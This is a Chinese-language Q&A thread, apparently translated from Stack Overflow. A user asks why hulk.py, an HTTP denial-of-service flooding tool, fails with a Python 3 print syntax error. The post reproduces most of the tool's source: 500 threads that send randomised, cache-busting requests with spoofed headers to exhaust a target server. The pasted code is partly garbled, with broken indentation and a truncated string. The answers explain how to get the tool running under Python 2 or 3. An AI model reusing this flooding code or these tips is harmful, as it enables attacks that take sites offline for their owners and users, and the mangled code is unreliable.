如何解决hulk.py中的语法错误?

时间:2015-05-26 10:50:03

标签: python python-2.7 load-testing

我在本地服务器上运行hulk.py脚本。我无法成功执行此脚本。

我已从网址下载hulk.py:“https://github.com/grafov/hulk

我做的步骤:

  1. 在桌面上提取下载的文件
  2. 从命令提示符,我已导航到此解压缩文件夹
  3. Ran命令“hulk.py https://”
  4. 显示以下错误:

    File "C:\Users\Abhishek Asopa\Desktop\hulk-master\hulk-master\hulk.py", line 72
    print '---------------------------------------------------'
                                                              ^
    SyntaxError: Missing parentheses in call to 'print'
    

    以下是hulk.py的代码:

    # ----------------------------------------------------------------------------------------------
    # HULK - HTTP Unbearable Load King
    #
    # this tool is a dos tool that is meant to put heavy load on HTTP servers in      order to bring them
    # to their knees by exhausting the resource pool, its is meant for research     purposes only
    # and any malicious usage of this tool is prohibited.
    #
    # author :  Barry Shteiman , version 1.0
    # ----------------------------------------------------------------------------------------------
    import urllib2
    import sys
    import threading
    import random
    import re
    
    #global params
    url=''
    host=''
    headers_useragents=[]
    headers_referers=[]
    request_counter=0
    flag=0
    safe=0
    
    def inc_counter():
        global request_counter
        request_counter+=1
    
    def set_flag(val):
        global flag
        flag=val
    
    def set_safe():
        global safe
        safe=1
    
        # generates a user agent array
        def useragent_list():
        global headers_useragents
        headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US;     rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
        headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en;     rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
        headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-    US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
        headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-    US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
        headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-    US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
        headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT     6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
        headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT     6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR     3.5.30729; .NET CLR 3.0.30729)')
        headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT     5.2; Win64; x64; Trident/4.0)')
        headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
        headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
        headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
        headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
        return(headers_useragents)
    
    # generates a referer array
    def referer_list():
        global headers_referers
        headers_referers.append('http://www.google.com/?q=')
        headers_referers.append('http://www.usatoday.com/search/results?q=')
        headers_referers.append('http://engadget.search.aol.com/search?q=')
            headers_referers.append('http://' + host + '/')
            return(headers_referers)
    
    #builds random ascii string
    def buildblock(size):
        out_str = ''
        for i in range(0, size):
            a = random.randint(65, 90)
            out_str += chr(a)
        return(out_str)
    
    def usage():
        print '---------------------------------------------------'
        print 'USAGE: python hulk.py <url>'
        print 'you can add "safe" after url, to autoshut after dos'
        print '---------------------------------------------------'
    
    
    #http request
    def httpcall(url):
        useragent_list()
        referer_list()
        code=0
        if url.count("?")>0:
            param_joiner="&"
        else:
            param_joiner="?"
        request = urllib2.Request(url + param_joiner +     buildblock(random.randint(3,10)) + '=' + buildblock(random.randint(3,10)))
        request.add_header('User-Agent', random.choice(headers_useragents))
        request.add_header('Cache-Control', 'no-cache')
        request.add_header('Accept-Charset', 'ISO-8859-1,utf-8;q=0.7,*;q=0.7')
        request.add_header('Referer', random.choice(headers_referers) +     buildblock(random.randint(5,10)))
        request.add_header('Keep-Alive', random.randint(110,120))
        request.add_header('Connection', 'keep-alive')
        request.add_header('Host',host)
        try:
                urllib2.urlopen(request)
        except urllib2.HTTPError, e:
                #print e.code
                set_flag(1)
                print 'Response Code 500'
                code=500
        except urllib2.URLError, e:
                #print e.reason
                sys.exit()
        else:
                inc_counter()
                urllib2.urlopen(request)
        return(code)        
    
    
    #http caller thread 
    class HTTPThread(threading.Thread):
        def run(self):
            try:
                while flag<2:
                    code=httpcall(url)
                    if (code==500) & (safe==1):
                        set_flag(2)
            except Exception, ex:
                pass
    
    # monitors http threads and counts requests
    class MonitorThread(threading.Thread):
        def run(self):
            previous=request_counter
            while flag==0:
                if (previous+100<request_counter) & (previous<>request_counter):
                    print "%d Requests Sent" % (request_counter)
                    previous=request_counter
            if flag==2:
                print "\n-- HULK Attack 
    
    #execute 
        if len(sys.argv) < 2:
            usage()
            sys.exit()
    else:
        if sys.argv[1]=="help":
            usage()
            sys.exit()
        else:
            print "-- HULK Attack Started --"
            if len(sys.argv)== 3:
                if sys.argv[2]=="safe":
                    set_safe()
            url = sys.argv[1]
            if url.count("/")==2:
                url = url + "/"
            m = re.search('http\://([^/]*)/?.*', url)
            host = m.group(1)
            for i in range(500):
                t = HTTPThread()
                t.start()
            t = MonitorThread()
            t.start()
    

    如果这不合适,请告诉我正确的脚本/语法是什么?

3 个答案:

答案 0 :(得分:2)

听起来您正在尝试使用Python 3运行脚本,该脚本将print视为需要围绕字符串括号的函数。我最好

  1. 尝试使用Python 2
  2. 运行它
  3. 修改print语句以包含括号,可能还有其他问题,但您可以查看错误是否移动。
  4. 如果是Python 2/3问题,请尝试在hulk.py源上运行2to3。

答案 1 :(得分:1)

您使用的是Python 3,此工具适用于Python 2

答案 2 :(得分:0)

似乎你正在使用python 3运行hulk 尝试使用python 2运行它或使用改进的hulk的python 3版本。